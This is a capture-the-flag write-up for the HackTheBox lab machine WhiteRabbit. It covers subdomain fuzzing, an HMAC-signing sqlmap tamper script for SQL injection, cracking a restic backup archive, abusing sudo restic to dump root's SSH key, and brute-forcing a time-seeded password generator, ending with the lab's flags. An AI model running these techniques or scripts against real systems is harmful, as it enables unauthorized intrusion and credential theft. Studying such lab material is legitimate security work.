WhiteRabbit

Recon

nmap_scan.log

HTTP (80)

The application has no internal pages, just index.html

Writeup.png

Fuzzing

Dirbusting also shows no directories

└─$ feroxbuster -u 'http://whiterabbit.htb/' -k -w /usr/share/seclists/Discovery/Web-Content/common.txt --thorough -n -D -C 404,403,400 -S 0,34 
200      GET     3066l    17141w  1391904c http://whiterabbit.htb/uptime.png
200      GET     3160l    17841w  1426261c http://whiterabbit.htb/phish.png
200      GET     3683l    20644w  1621908c http://whiterabbit.htb/n8n.png
200      GET      116l      510w     6109c http://whiterabbit.htb/
200      GET      116l      510w     6109c http://whiterabbit.htb/index.html

Domain enumeration shows there's a subdomain called status

└─$ domain='whiterabbit.htb'; ffuf -u "http://$domain/" -H "Host: FUZZ.$domain" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -mc all -fs 0
status                  [Status: 302, Size: 32, Words: 4, Lines: 1, Duration: 81ms]

Uptime Kuma

Subdomain is protected with authentication

Writeup-1.png

uptime-kuma: A fancy self-hosted monitoring tool

Vue.JS

Since the application is using Vue.js we can find more about application from it's source. Searching for /dashboard we find other paths used by router.

path: "", component: mz, children: [{
	name: "DashboardHome", path: "/dashboard", component: Uz, children: [
		{ path: "/dashboard/:id", component: IV, children: [
			{ path: "", component: ZK },
			{ path: "/edit/:id", component: Mf }
		]},
		{ path: "/clone/:id", component: Mf },
		{ path: "/add", component: Mf }
	]
},
{ path: "/list", component: i6e },
{ path: "/settings", component: jDe, children: [
	{ path: "general", component: g_e },
	{ path: "appearance", component: Awe },
	{ path: "notifications", component: WDe },
	{ path: "reverse-proxy", component: K_e },
	{ path: "tags", component: ICe },
	{ path: "monitor-history", component: jCe },
	{ path: "docker-hosts", component: bEe },
	{ path: "security", component: KDe },
	{ path: "api-keys", component: qTe },
	{ path: "proxies", component: oDe },
	{ path: "backup", component: $De },
	{ path: "about", component: zDe }
]},
{ path: "/manage-status-page", component: PAe },
{ path: "/add-status-page", component: QAe },
{ path: "/maintenance", component: JEe },
{ path: "/maintenance/:id", component: PEe },
{ path: "/add-maintenance", component: e3 },
{ path: "/maintenance/edit/:id", component: e3 }
{ path: "/setup", component: k6e },
{ path: "/status-page", component: Yc },
{ path: "/status", component: Yc },
{ path: "/status/:slug", component: Yc },
{ path: "/:pathMatch(.*)*", component: dEe }
]

Most of the routes didn't work as intended because all of them want authenticated session.

/setup route worked, kinda. With burp suite it's possible to halt the redirection, make request, let go of halt and slip the registration request. This however didn't work as it has already been Initialized.

Writeup-2.png

Use feroxbuster for other routes too

└─$ feroxbuster -u 'http://status.whiterabbit.htb/' -k -w /usr/share/seclists/Discovery/Web-Content/common.txt --thorough -n -D -C 404,403,400 -S 0,34,2444
302      GET        1l        4w       32c http://status.whiterabbit.htb/ => http://status.whiterabbit.htb/dashboard
302      GET        1l        4w       89c http://status.whiterabbit.htb/.well-known/change-password => https://github.com/louislam/uptime-kuma/wiki/Reset-Password-via-CLI
301      GET       10l       16w      179c http://status.whiterabbit.htb/assets => http://status.whiterabbit.htb/assets/
200      GET        4l       33w    29264c http://status.whiterabbit.htb/favicon.ico
200      GET        2l        4w       25c http://status.whiterabbit.htb/robots.txt
301      GET       10l       16w      189c http://status.whiterabbit.htb/screenshots => http://status.whiterabbit.htb/screenshots/
301      GET       10l       16w      179c http://status.whiterabbit.htb/upload => http://status.whiterabbit.htb/upload/

Going back to the main domain they talk about using Kuma, which should mean that other announcements should be true.

Writeup-3.png

The frontend version is leaked from source:

Writeup-4.png

Frontend Authentication Bypass

It's also possible to bypass the frontend authentication if the ok value in Sockets.io is changed to True; However this is only frontend and not backend, so no real permissions are applied.

Writeup-5.png

CVE-2024-56331

Application versions: https://github.com/louislam/uptime-kuma/tags

Only 1.23.16 version after 1.23.13 has a CVE vulnerability fix: - GHSA-2qgm-m29m-cj2h [CVE-2024-56331] Local File Inclusion (LFI) via Improper URL Handling in Real-Browser monitor.

CVE requires authenticated user, so it's no of use right now.

More fuzzing

└─$ feroxbuster -u 'http://status.whiterabbit.htb/uploads' -k -w /usr/share/seclists/Discovery/Web-Content/common.txt --thorough -n -D -C 404,403,400 -S 0,34,2444
..Empty..
└─$ feroxbuster -u 'http://status.whiterabbit.htb/status' -k -w /usr/share/seclists/Discovery/Web-Content/common.txt --thorough -n -D -C 404,403,400 -S 0,34,2444
200      GET       41l      152w     3359c http://status.whiterabbit.htb/status/temp

Uploads returns 404, so we will need exact filename, LFI doesn't seem to work. /status returns /temp which could be useful.

Writeup-6.png

Wiki.JS

http://a668910b5514e.whiterabbit.htb/

Writeup-7.png

GoPhish Webhook

There's talk about GoPhish Webhooks:

Writeup-8.png
Writeup-9.png

http://a668910b5514e.whiterabbit.htb/gophish/gophish_to_phishing_score_database.json

Secret: 3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS

SQLi

Since database is involved in the recipe we could try SQLi, ideally SQLMap.

└─$ mkdir tampers
└─$ touch tampers/__init__.py
└─$ nano tampers/signature.py
import hmac
import hashlib

KEY = b'3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS'
__priority__ = 0


def dependencies():
    pass

def tamper(payload, **kwargs):
    headers = kwargs.get("headers", {})
    signature = hmac.new(KEY, payload.encode(), hashlib.sha256).hexdigest()
    headers["x-gophish-signature"] = f'sha256={signature}'
    return payload

I shouldn't have left SQLMap running blindly... The header was always wrong so there was no point in running it.

Since we were given the test request let's first try to generate the original hash.

import hmac
import hashlib
import json

KEY = b'3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS'
DATA = { "campaign_id": 1, "email": "test@ex.com", "message": "Clicked Link" }

def show_hmac(label, data):
    data_bytes = data.encode()
    digest = hmac.new(KEY, data_bytes, hashlib.sha256).hexdigest()
    print(f"{label}:\n{data_bytes}\n{digest}\n")

show_hmac("str()", str(DATA))
show_hmac("json.dumps()", json.dumps(DATA))
show_hmac("json.dumps(compact)", json.dumps(DATA, separators=(',', ':')))

'''
b"{'campaign_id': 1, 'email': 'test@ex.com', 'message': 'Clicked Link'}"
41a6b9e47af2b1a2975f5a9be023a370e7c5a6eb7c7fb0befeec6c3c8c5071e8        

b'{"campaign_id": 1, "email": "test@ex.com", "message": "Clicked Link"}'
7d629705566b20e8c538fa3bdbb5399decf2e6e91bfdf48945d634cff36ed7ea        

b'{"campaign_id":1,"email":"test@ex.com","message":"Clicked Link"}'     
cf4651463d8bc629b9b411c58480af5a9968ba05fca83efa03a21b2cecd1c2dd     
'''

Only compact hashed json is accepted.

The tamper function payload for the email, not the data we pass to it. Encode, send and wait.

import hmac
import hashlib
import json

KEY = b'3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS'

def tamper(payload, **kwargs):
    payload_for_signature = json.dumps({
        "campaign_id": 1,
        "email": payload,
        "message": "Clicked Link"
    }, separators=(',', ':')).encode()

    headers = kwargs.get("headers", {})
    signature = hmac.new(KEY, payload_for_signature, hashlib.sha256 ).hexdigest()
    headers["x-gophish-signature"] = f'sha256={signature}'

    return payload
└─$ sqlmap -u http://28efa8f7df.whiterabbit.htb/webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d --data '{"campaign_id":1,"email":"*","message":"Clicked Link"}' --tamper=./tampers/signature.py --batch --level 5 --risk 3 --dbms=MySQL # --proxy=http://127.0.0.1:8080
[*] starting @ 20:08:25 /2025-04-08/
sqlmap identified the following injection point(s) with a total of 1645 HTTP(s) requests:
---
Parameter: JSON #1* ((custom) POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: {"campaign_id":1,"email":"" AND 3359=(SELECT (CASE WHEN (3359=3359) THEN 3359 ELSE (SELECT 7918 UNION SELECT 6022) END))-- -","message":"Clicked Link"}

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: {"campaign_id":1,"email":"" AND (SELECT 7445 FROM(SELECT COUNT(*),CONCAT(0x717a6a7671,(SELECT (ELT(7445=7445,1))),0x717a627071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- EEtA","message":"Clicked Link"}

    Type: stacked queries
    Title: MySQL >= 5.0.12 stacked queries (comment)
    Payload: {"campaign_id":1,"email":"";SELECT SLEEP(5)#","message":"Clicked Link"}

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: {"campaign_id":1,"email":"" AND (SELECT 3588 FROM (SELECT(SLEEP(5)))gvUK)-- fMMx","message":"Clicked Link"}
---
[20:21:12] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[*] ending @ 20:21:13 /2025-04-08/

Tables:

└─$ sqlmap -u http://28efa8f7df.whiterabbit.htb/webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d --data '{"campaign_id":1,"email":"*","message":"Clicked Link"}' --tamper=./tampers/signature.py --batch --level 5 --risk 3 --dbms=MySQL --current-db --tables
Database: information_schema
[84 tables]
+---------------------------------------+
| ALL_PLUGINS                           |
| APPLICABLE_ROLES                      |
| CHARACTER_SETS                        |
| CHECK_CONSTRAINTS                     |
| CLIENT_STATISTICS                     |
| COLLATIONS                            |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMN_PRIVILEGES                     |
| ENABLED_ROLES                         |
| FILES                                 |
| GEOMETRY_COLUMNS                      |
| GLOBAL_STATUS                         |
| GLOBAL_VARIABLES                      |
| INDEX_STATISTICS                      |
| INNODB_BUFFER_PAGE                    |
| INNODB_BUFFER_PAGE_LRU                |
| INNODB_BUFFER_POOL_STATS              |
| INNODB_CMP                            |
| INNODB_CMPMEM                         |
| INNODB_CMPMEM_RESET                   |
| INNODB_CMP_PER_INDEX                  |
| INNODB_CMP_PER_INDEX_RESET            |
| INNODB_CMP_RESET                      |
| INNODB_FT_BEING_DELETED               |
| INNODB_FT_CONFIG                      |
| INNODB_FT_DEFAULT_STOPWORD            |
| INNODB_FT_DELETED                     |
| INNODB_FT_INDEX_CACHE                 |
| INNODB_FT_INDEX_TABLE                 |
| INNODB_LOCKS                          |
| INNODB_LOCK_WAITS                     |
| INNODB_METRICS                        |
| INNODB_SYS_COLUMNS                    |
| INNODB_SYS_FIELDS                     |
| INNODB_SYS_FOREIGN                    |
| INNODB_SYS_FOREIGN_COLS               |
| INNODB_SYS_INDEXES                    |
| INNODB_SYS_TABLES                     |
| INNODB_SYS_TABLESPACES                |
| INNODB_SYS_TABLESTATS                 |
| INNODB_SYS_VIRTUAL                    |
| INNODB_TABLESPACES_ENCRYPTION         |
| INNODB_TRX                            |
| KEYWORDS                              |
| KEY_CACHES                            |
| KEY_COLUMN_USAGE                      |
| KEY_PERIOD_USAGE                      |
| OPTIMIZER_TRACE                       |
| PARAMETERS                            |
| PERIODS                               |
| PROFILING                             |
| REFERENTIAL_CONSTRAINTS               |
| ROUTINES                              |
| SCHEMATA                              |
| SCHEMA_PRIVILEGES                     |
| SEQUENCES                             |
| SESSION_STATUS                        |
| SESSION_VARIABLES                     |
| SPATIAL_REF_SYS                       |
| SQL_FUNCTIONS                         |
| STATISTICS                            |
| SYSTEM_VARIABLES                      |
| TABLESPACES                           |
| TABLE_CONSTRAINTS                     |
| TABLE_PRIVILEGES                      |
| TABLE_STATISTICS                      |
| THREAD_POOL_GROUPS                    |
| THREAD_POOL_QUEUES                    |
| THREAD_POOL_STATS                     |
| THREAD_POOL_WAITS                     |
| USERS                                 |
| USER_PRIVILEGES                       |
| USER_STATISTICS                       |
| VIEWS                                 |
| COLUMNS                               |
| ENGINES                               |
| EVENTS                                |
| OPTIMIZER_COSTS                       |
| PARTITIONS                            |
| PLUGINS                               |
| PROCESSLIST                           |
| TABLES                                |
| TRIGGERS                              |
| user_variables                        |
+---------------------------------------+

Database: phishing
[1 table]
+---------------------------------------+
| victims                               |
+---------------------------------------+

Database: temp
[1 table]
+---------------------------------------+
| command_log                           |
+---------------------------------------+

Table contents:

└─$ sqlmap -u http://28efa8f7df.whiterabbit.htb/webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d --data '{"campaign_id":1,"email":"*","message":"Clicked Link"}' --tamper=./tampers/signature.py --batch --level 5 --risk 3 --dbms=MySQL -D phishing -T victims --dump
...Nothing Interesting...

└─$ sqlmap -u http://28efa8f7df.whiterabbit.htb/webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d --data '{"campaign_id":1,"email":"*","message":"Clicked Link"}' --tamper=./tampers/signature.py --batch --level 5 --risk 3 --dbms=MySQL -D temp -T command_log --dump
+----+---------------------+------------------------------------------------------------------------------+
| id | date                | command                                                                      |
+----+---------------------+------------------------------------------------------------------------------+
| 1  | 2024-08-30 10:44:01 | uname -a                                                                     |
| 2  | 2024-08-30 11:58:05 | restic init --repo rest:http://75951e6ff.whiterabbit.htb                     |
| 3  | 2024-08-30 11:58:36 | echo ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw > .restic_passwd                       |
| 4  | 2024-08-30 11:59:02 | rm -rf .bash_history                                                         |
| 5  | 2024-08-30 11:59:47 | #thatwasclose                                                                |
| 6  | 2024-08-30 14:40:42 | cd /home/neo/ && /opt/neo-password-generator/neo-password-generator | passwd |
+----+---------------------+------------------------------------------------------------------------------+

restic

# https://github.com/restic/restic/releases/latest
└─$ curl -LOs https://github.com/restic/restic/releases/download/v0.18.0/restic_0.18.0_linux_amd64.bz2
└─$ bzip2 -d restic_0.18.0_linux_amd64.bz2
└─$ chmod +x restic_0.18.0_linux_amd64
└─$ sudo mv ./restic_0.18.0_linux_amd64 /usr/local/bin/restic
└─$ echo ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw > .restic_passwd
└─$ restic -r rest:http://75951e6ff.whiterabbit.htb --password-file .restic_passwd snapshots
repository 5b26a938 opened (version 2, compression level auto)
created new cache in /home/woyag/.cache/restic
ID        Time                 Host         Tags        Paths
------------------------------------------------------------------------
272cacd5  2025-03-06 19:18:40  whiterabbit              /dev/shm/bob/ssh
------------------------------------------------------------------------
1 snapshots
└─$ restic -r rest:http://75951e6ff.whiterabbit.htb --password-file .restic_passwd ls 272cacd5
repository 5b26a938 opened (version 2, compression level auto)
[0:00] 100.00%  5 / 5 index files loaded
snapshot 272cacd5 of [/dev/shm/bob/ssh] at 2025-03-06 17:18:40.024074307 -0700 -0700 by ctrlzero@whiterabbit filtered by []:
/dev
/dev/shm
/dev/shm/bob
/dev/shm/bob/ssh
/dev/shm/bob/ssh/bob.7z
└─$ restic -r rest:http://75951e6ff.whiterabbit.htb --password-file .restic_passwd restore 272cacd5:/dev/shm/bob/ssh --target .
repository 5b26a938 opened (version 2, compression level auto)
[0:00] 100.00%  5 / 5 index files loaded
restoring snapshot 272cacd5 of [/dev/shm/bob/ssh] at 2025-03-06 17:18:40.024074307 -0700 -0700 by ctrlzero@whiterabbit to .
Summary: Restored 1 files/dirs (572 B) in 0:00
└─$ 7z x bob.7z -o'bob'
Enter password (will not be echoed):

Hmm.... It's password protected

└─$ 7z2john bob.7z | tee bob.hash
bob.7z:$7z$2$19$0$$8$61d81f6f9997419d0000000000000000$4049814156$368$365$7295a784b0a8cfa7d2b0a8a6f88b961c8351682f167ab77e7be565972b82576e7b5ddd25db30eb27137078668756bf9dff5ca3a39ca4d9c7f264c19a58981981486a4ebb4a682f87620084c35abb66ac98f46fd691f6b7125ed87d58e3a37497942c3c6d956385483179536566502e598df3f63959cf16ea2d182f43213d73feff67bcb14a64e2ecf61f956e53e46b17d4e4bc06f536d43126eb4efd1f529a2227ada8ea6e15dc5be271d60360ff5c816599f0962fc742174ff377e200250b835898263d997d4ea3ed6c3fc21f64f5e54f263ebb464e809f9acf75950db488230514ee6ed92bd886d0a9303bc535ca844d2d2f45532486256fbdc1f606cca1a4680d75fa058e82d89fd3911756d530f621e801d73333a0f8419bd403350be99740603dedff4c35937b62a1668b5072d6454aad98ff491cb7b163278f8df3dd1e64bed2dac9417ca3edec072fb9ac0662a13d132d7aa93ff58592703ec5a556be2c0f0c5a3861a32f221dcb36ff3cd713$399$00
➜ .\john-1.9.0-jumbo-1-win64\run\john.exe .\hashes.txt --wordlist=.\rockyou.txt
Warning: detected hash type "7z", but the string is also recognized as "7z-opencl"
Use the "--format=7z-opencl" option to force loading these as that type instead
1q2w3e4r5t6y     (bob.7z)
└─$ 7z x bob.7z -o'bob' -p'1q2w3e4r5t6y'
└─$ cat bob/config
Host whiterabbit
  HostName whiterabbit.htb
  Port 2222
  User bob

SSH (2222)

└─$ ssh -i bob/bob whiterabbit.htb -p 2222
bob@ebdce80611e9:~$ id
uid=1001(bob) gid=1001(bob) groups=1001(bob)

Privilege Escalation (bob)

bob@ebdce80611e9:~$ sudo -l
Matching Defaults entries for bob on ebdce80611e9:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User bob may run the following commands on ebdce80611e9:
    (ALL) NOPASSWD: /usr/bin/restic
bob@ebdce80611e9:~$ cd /dev/shm
bob@ebdce80611e9:/dev/shm$ restic init --repo pwn
bob@ebdce80611e9:/dev/shm$ echo "pwn" > restic.password
bob@ebdce80611e9:/dev/shm$ sudo restic backup --repo ./pwn --password-file restic.password /root
bob@ebdce80611e9:/dev/shm$ sudo restic snapshots --repo ./pwn --password-file restic.password
bob@ebdce80611e9:/dev/shm$ restic restore 566f121a --repo /pwn --password-file restic.password --target .
...permission denied...
bob@ebdce80611e9:/dev/shm$ restic restore 566f121a --repo /pwn --password-file restic.password --target .
...worked...
bob@ebdce80611e9:/dev/shm$ ls -alh
total 4.0K
drwxrwxrwt 4 root root 100 Apr  9 03:16 .
drwxr-xr-x 5 root root 340 Apr  7 23:20 ..
drwx------ 7 bob  bob  160 Apr  9 03:11 pwn
-rw-rw-r-- 1 bob  bob    4 Apr  9 03:12 restic.password
drwx------ 4 root root 180 Apr  9 03:13 root

We can run restic as root, but looks like permissions are strongly contained within scope. We can backup a directory, but can't read it as bob when restoring the files.

restic has many other commands to use, but cat won't work since it only reads internal files (not backed up files). mount will be same as restore

bob@ebdce80611e9:/dev/shm$ sudo restic --repo ./pwn --password-file restic.password ls 566f121a
repository ba172883 opened (version 2, compression level auto)
[0:00] 100.00%  1 / 1 index files loaded
snapshot 566f121a of [/root] filtered by [] at 2025-04-09 03:13:11.594339116 +0000 UTC):
/root
/root/.bash_history
/root/.bashrc
/root/.cache
/root/.profile
/root/.ssh
/root/morpheus
/root/morpheus.pub

But dump command is able to read files directly to stdout:

# bob@ebdce80611e9:/dev/shm$ sudo restic --repo ./dest --password-file restic.password dump <SNAPSHOT_ID> <FILENAME>
bob@ebdce80611e9:/dev/shm$ sudo restic --repo ./pwn --password-file restic.password dump 566f121a /root/morpheus
repository ba172883 opened (version 2, compression level auto)
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS
1zaGEyLW5pc3RwMjU2AAAACG5pc3RwMjU2AAAAQQS/TfMMhsru2K1PsCWvpv3v3Ulz5cBP
UtRd9VW3U6sl0GWb0c9HR5rBMomfZgDSOtnpgv5sdTxGyidz8TqOxb0eAAAAqOeHErTnhx
K0AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBL9N8wyGyu7YrU+w
Ja+m/e/dSXPlwE9S1F31VbdTqyXQZZvRz0dHmsEyiZ9mANI62emC/mx1PEbKJ3PxOo7FvR
4AAAAhAIUBairunTn6HZU/tHq+7dUjb5nqBF6dz5OOrLnwDaTfAAAADWZseEBibGFja2xp
c3QBAg==
-----END OPENSSH PRIVATE KEY-----

SSH (22) (morpheus)

└─$ nano morpheus.id_rsa
└─$ chmod 600 morpheus.id_rsa
└─$ ssh -i morpheus.id_rsa morpheus@whiterabbit.htb
morpheus@whiterabbit:~$ id
uid=1001(morpheus) gid=1001(morpheus) groups=1001(morpheus),100(users)

User.txt

morpheus@whiterabbit:~$ cat user.txt
b492bb171e7e9cc49b91df862733ed65

Privilege Escalation (neo)

We can't sudo without user's password.

There's something interesting in /opt

morpheus@whiterabbit:/opt/neo-password-generator$ ls -Alh
total 16K
-rwxr-xr-x 1 root root 16K Aug 30  2024 neo-password-generator

neo is another user on the machine, probably password is generated for him.

morpheus@whiterabbit:/opt/neo-password-generator$ grep sh$ /etc/passwd
root:x:0:0:root:/root:/bin/bash
neo:x:1000:1000:Neo:/home/neo:/bin/bash
morpheus:x:1001:1001:Morpheus,,,:/home/morpheus:/bin/bash

The output is always random 🤔

morpheus@whiterabbit:/opt/neo-password-generator$ ./neo-password-generator
F6OjViAGX6m6rqamddwE
morpheus@whiterabbit:/opt/neo-password-generator$ ./neo-password-generator
cQgC7bAXESEU44wsCutl
morpheus@whiterabbit:/opt/neo-password-generator$ ./neo-password-generator
TJ2ajKfDyNy76lgmj06U

From database we know that this command was used to generate password for neo

| 6  | 2024-08-30 14:40:42 | cd /home/neo/ && /opt/neo-password-generator/neo-password-generator | passwd |
└─$ scp -i morpheus.id_rsa morpheus@whiterabbit.htb:/opt/neo-password-generator/neo-password-generator .

https://dogbolt.org/?id=9a9dbdd8-f066-4cb3-96ee-2f2ee60efae3#BinaryNinja=140&Ghidra=182

The password is generated based on time

int64_t generate_password(uint32_t arg1) {
    void* fsbase;
    int64_t rax = *(fsbase + 0x28);
    srand(arg1);
    void str;
    
    for (int32_t i = 0; i <= 0x13; i += 1)
        *(&str + i) = (*"abcdefghijklmnopqrstuvwxyzABCDEF…")[rand() % 0x3e];
    
    char var_14 = 0;
    puts(&str);
    
    if (rax == *(fsbase + 0x28))
        return rax - *(fsbase + 0x28);
    
    __stack_chk_fail();
    /* no return */
}

int32_t main(int32_t argc, char** argv, char** envp) {
    void* fsbase;
    int64_t rax = *(fsbase + 0x28);
    int64_t var_28;
    gettimeofday(&var_28, nullptr);
    int64_t var_20;
    generate_password(var_28 * 1000 + var_20 / 1000);
    // generate_password(local_28.tv_sec * 1000 + local_28.tv_usec / 1000);%%  %%
    *(fsbase + 0x28);
    
    if (rax == *(fsbase + 0x28))
        return 0;
    
    __stack_chk_fail();
    /* no return */
}

Since we know the exact time the password was generated we can bruteforce our way in. The only factor to consider is microseconds, we know exact datetime but not microseconds. It's important because generated password includes them in seed value.

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <time.h>

void generate_password(int seed) {
    srand(seed);
    char password[21];
    const char charset[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
    int charset_size = sizeof(charset) - 1;
    for (int i = 0; i < 20; i++) { password[i] = charset[rand() % charset_size]; }
    password[20] = '\0';
    printf("Seed: %u → %s\n", seed, password);
}

int main(void) {
    struct tm tm_utc = {
        .tm_year = 2024 - 1900, // Year since 1900
        .tm_mon  = 8 - 1,       // Month (0-11)
        .tm_mday = 30,          // Day of the month
        .tm_hour = 14,          // Hour (0-23)
        .tm_min  = 40,          // Minute (0-59)
        .tm_sec  = 42,          // Second (0-59)
    };

    // Get UTC timestamp (seconds)
    time_t t = timegm(&tm_utc);

    // Fuzz across 1000 milliseconds
    for (int delta = 0; delta <= 1000; delta++) {
        int seed = t * 1000 + delta;
        generate_password(seed);
    }

    return 0;
}

It's important to consider the timezone. Victim has UTC, but for example me I have EDT. If I generate passwords on my local timezone it will not work, hence timegm will use UTC to create proper timestamps.

morpheus@whiterabbit:/tmp$ date +%Z # Victim
UTC
└─$ date +%Z # Attacker
EDT
└─$ gcc gen_passwd.c && ./a.out | cut -d ' ' -f4 > passwords.txt
└─$ curl -LOs https://raw.githubusercontent.com/carlospolop/su-bruteforce/refs/heads/master/suBF.sh
└─$ scp -i morpheus.id_rsa suBF.sh morpheus@whiterabbit.htb:/tmp
└─$ scp -i morpheus.id_rsa passwords.txt morpheus@whiterabbit.htb:/tmp

morpheus@whiterabbit:/tmp$ chmod +x suBF.sh
morpheus@whiterabbit:/tmp$ ./suBF.sh -t 1 -u neo -w passwords.txt
  [+] Bruteforcing neo...
  You can login as neo using password: WBSxhWgfnMiclrV4dqfj

Note: After some tweaking -t 1 was a must, 0.7 was too quick and script missed password few times.

morpheus@whiterabbit:/tmp$ su neo
Password: WBSxhWgfnMiclrV4dqfj
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

Privilege Escalation (root)

neo@whiterabbit:/tmp$ sudo -l
[sudo] password for neo: WBSxhWgfnMiclrV4dqfj
Matching Defaults entries for neo on whiterabbit:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User neo may run the following commands on whiterabbit:
    (ALL : ALL) ALL
neo@whiterabbit:/tmp$ sudo su
root@whiterabbit:/tmp# id
uid=0(root) gid=0(root) groups=0(root)

Root.txt

root@whiterabbit:/tmp# cat /root/root.txt
606cda873292a52f321f04acc2ea5fc7

Last updated